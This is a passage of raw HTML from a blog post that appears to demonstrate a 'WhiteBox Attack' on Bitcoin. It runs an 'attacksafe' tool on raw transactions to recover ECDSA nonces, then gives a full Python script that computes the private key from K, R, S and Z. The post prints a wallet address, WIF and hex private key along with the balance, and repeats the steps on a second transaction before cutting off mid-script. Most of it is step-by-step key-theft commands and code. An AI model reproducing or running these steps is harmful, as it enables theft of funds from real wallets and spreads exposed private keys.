class=\"wp-image-1587\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003e\"ATTACKSAFE SOFTWARE\"\u003c/code\u003eincludes all popular attacks on Bitcoin.\u003c/p\u003e\n\n\n\n\u003ch2\u003eLet’s run a list of all attacks:\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -list\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-19-1024x631.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1589\"\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-20-1024x631.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1590\"\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-21-1024x631.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1592\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003ethen choose\u003ccode\u003e\u0026nbsp;-tool: whitebox_attack\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eTo get the secret key from a vulnerable ECDSA signing transaction, let’s add the data\u0026nbsp;\u003ccode\u003eRawTX\u003c/code\u003eto a text document and save it as a file\u003ccode\u003eRawTX.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLaunch\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eusing software\u003ccode\u003e“ATTACKSAFE SOFTWARE”\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-22-1024x276.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1594\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eWe launched this attack from\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eand the result was saved to a file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow to see the successful result, open the file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-24-1024x482.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1597\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eDeployments ECDSA:\n\nSecretKey = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d\n\nRawTX = 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eWe see an inscription\u0026nbsp;\u003ccode\u003e\"Deployments ECDSA\"\u003c/code\u003ethat means a critical vulnerability in the Bitcoin blockchain transaction.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eSecretKey value in HEX format, this is our secret key \"K\" (NONCE):\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s check with a\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script\u003ccode\u003epoint2gen.py\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo do this, install the\u0026nbsp;\u003ca href=\"https://pypi.org/project/ECPy/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eECPy\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;elliptic curve library :\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epip3 install ECPy\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-44-1024x335.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-968\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eNow let’s run the script by specifying\u0026nbsp;\u003ccode\u003eSecret Key \"K\" (NONCE)\u003c/code\u003e:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 point2gen.py 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-25-1024x86.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1599\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003e(0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 , 0xacf1d32fbd69a79736bafc6af16135526852cd12e4c19158fb421266f0771e0f)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eChecking the coordinates of a point\u0026nbsp;\u003ccode\u003eEC (secp256k1)\u0026nbsp;\u003c/code\u003ewith a signature value\u003ccode\u003eR\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01\nS = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3\nZ = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6ed\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR          =    0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01\npoint2gen  =   (0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 , 0xacf1d32fbd69a79736bafc6af16135526852cd12e4c19158fb421266f0771e0f)\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eALL CORRECT!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow knowing the secret key, we can get the private key to the Bitcoin Wallet:\u003ccode\u003e1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s use the\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script:\u0026nbsp;\u003ccode\u003ecalculate.py\u003c/code\u003e\u0026nbsp;\u0026gt; \u0026gt; \u0026gt; Get the Private Key\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s open the code and add all the value of the signatures\u003ccode\u003e\u003cstrong\u003eK, R, S, Z\u003c/strong\u003e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003edef h(n):\n    return hex(n).replace(\"0x\",\"\")\n\ndef extended_gcd(aa, bb):\n    lastremainder, remainder = abs(aa), abs(bb)\n    x, lastx, y, lasty = 0, 1, 1, 0\n    while remainder:\n        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)\n        x, lastx = lastx - quotient*x, x\n        y, lasty = lasty - quotient*y, y\n    return lastremainder, lastx * (-1 if aa \u0026lt; 0 else 1), lasty * (-1 if bb \u0026lt; 0 else 1)\n\ndef modinv(a, m):\n    g, x, y = extended_gcd(a, m)\n    if g != 1:\n        raise ValueError\n    return x % m\n    \nN = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\n\n\nK = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d\nR = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01\nS = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3\nZ = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6ed\n\n\nprint (h((((S * K) - Z) * modinv(R,N)) % N))\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eThe script will calculate the private key using the formula:\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivkey = ((((S * K) - Z) * modinv(R,N)) % N)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eLet’s run the script:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 calculate.py\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-26.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1601\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivKey = 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/bitaddress.html\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s open bitaddress\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;and\u0026nbsp;check:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eADDR: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\nWIF:  Kx2mo3Efm5BaC45ozMVM4MPbcY6thbxVwgwXX8ByCuKRZeMmpATx\nHEX:  1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/001-1.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1687\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://www.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\"\u003ehttps://www.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003ePrivate Key Found!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-28-1024x461.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1605\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://www.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003e\u003ccode\u003ewww.blockchain.com/btc/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/code\u003e\u003c/strong\u003e\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eBALANCE: $ 607.79\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cem\u003eThe potential threat of losing BTC coins lies in the critical vulnerability of the Bitcoin blockchain transaction, so we strongly recommend that everyone always update the software and use only verified devices.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eWith detailed cryptanalysis, we also found a critical vulnerability in\u0026nbsp;\u003ca href=\"https://btc1.trezor.io/tx/6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003e6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;for the same Bitcoin Address\u003cstrong\u003e\u003ccode\u003e\u0026nbsp;TXID:\u003c/code\u003e\u003c/strong\u003e\u003ca href=\"https://btc1.trezor.io/tx/6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003e\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003ePrepare RawTX for the attack\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://btc1.trezor.io/address/1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://btc1.trezor.io/tx/6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba\"\u003ehttps://btc1.trezor.io/tx/6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-29-1024x135.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1609\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eRawTX = 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003ch2\u003eNow we need to get all R, S, Z values ​​from all vulnerable transactions\u003c/h2\u003e\n\n\n\n\u003cp\u003eLet’s use the breakECDSA.py script\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython2 breakECDSA.py 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-30-1024x287.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1611\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26\nS = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562\nZ = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309c\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eTo get the secret key from a vulnerable ECDSA signing transaction, let’s add the data\u0026nbsp;\u003ccode\u003eRawTX\u003c/code\u003eto a text document and save it as a file\u003ccode\u003eRawTX.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLaunch\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eusing software\u003ccode\u003e“ATTACKSAFE SOFTWARE”\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-31-1024x359.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1613\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eWe launched this attack from\u0026nbsp;\u003ccode\u003e-tool whitebox_attack\u003c/code\u003eand the result was saved to a file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow to see the successful result, open the file\u003ccode\u003eSecretKey.txt\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat SecretKey.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-32-1024x491.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1614\"\u003e\u003c/figure\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eDeployments ECDSA:\n\nSecretKey = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd\n\nRawTX = 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003eWe see an inscription\u0026nbsp;\u003ccode\u003e\"Deployments ECDSA\"\u003c/code\u003ethat means a critical vulnerability in the Bitcoin blockchain transaction.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eSecretKey value in HEX format, this is our secret key \"K\" (NONCE):\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s check with a\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script\u003ccode\u003epoint2gen.py\u003c/code\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://pypi.org/project/ECPy/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eLet’s use the ECPy\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;elliptic curve library\u0026nbsp;:\u003c/p\u003e\n\n\n\n\u003cp\u003eNow let’s run the script by specifying\u0026nbsp;\u003ccode\u003eSecret Key \"K\" (NONCE)\u003c/code\u003e:\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003epython3 point2gen.py 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key - CRYPTO DEEP TECH_files/image-33-1024x92.png\" alt=\"We implement WhiteBox Attack on Bitcoin with differential errors according to the research scheme of Eli Biham and Adi Shamir to extract the secret key\" class=\"wp-image-1616\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003e(0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 , 0x61200da995a31b5be6f875decb954d0e3f8c54d16f7428827a2436cd2fce9419)\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eChecking the coordinates of a point\u0026nbsp;\u003ccode\u003eEC (secp256k1)\u0026nbsp;\u003c/code\u003ewith a signature value\u003ccode\u003eR\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26\nS = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562\nZ = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309c\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003eR          =    0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26\npoint2gen  =   (0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 , 0x61200da995a31b5be6f875decb954d0e3f8c54d16f7428827a2436cd2fce9419)\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eALL CORRECT!\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ccode\u003eK = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eNow knowing the secret key, we can get the private key to the Bitcoin Wallet:\u003ccode\u003e1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2\u003eLet’s use\u0026nbsp; the\u0026nbsp;\u003cem\u003ePython\u003c/em\u003e\u0026nbsp;script:\u0026nbsp;\u0026nbsp;\u003ccode\u003ecalculate.py\u003c/code\u003e\u0026nbsp;\u0026gt; \u0026gt; \u0026gt; Get the Private Key\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s open the code and add all the value of the signatures\u003ccode\u003e\u003cstrong\u003eK, R, S, Z\u003c/strong\u003e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003edef h(n):\n    return hex(n).replace(\"0x\",\"\")\n\ndef extended_gcd(aa, bb):\n    lastremainder, remainder = abs(aa), abs(bb)\n    x, lastx, y, lasty = 0, 1, 1, 0\n    while remainder:\n        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)\n        x, lastx = lastx - quotient*x, x\n        y, lasty = lasty - quotient*y, y\n    return lastremainder, lastx * (-1 if aa \u0026lt; 0 else 1), lasty * (-1 if bb \u0026lt; 0 else 1)\n\ndef modinv(a, m):\n    g, x, y = extended_gcd(a, m)\n    if g != 1:\n        raise ValueError\n    return x % m\n    \nN = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\n\n\nK = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd\nR = 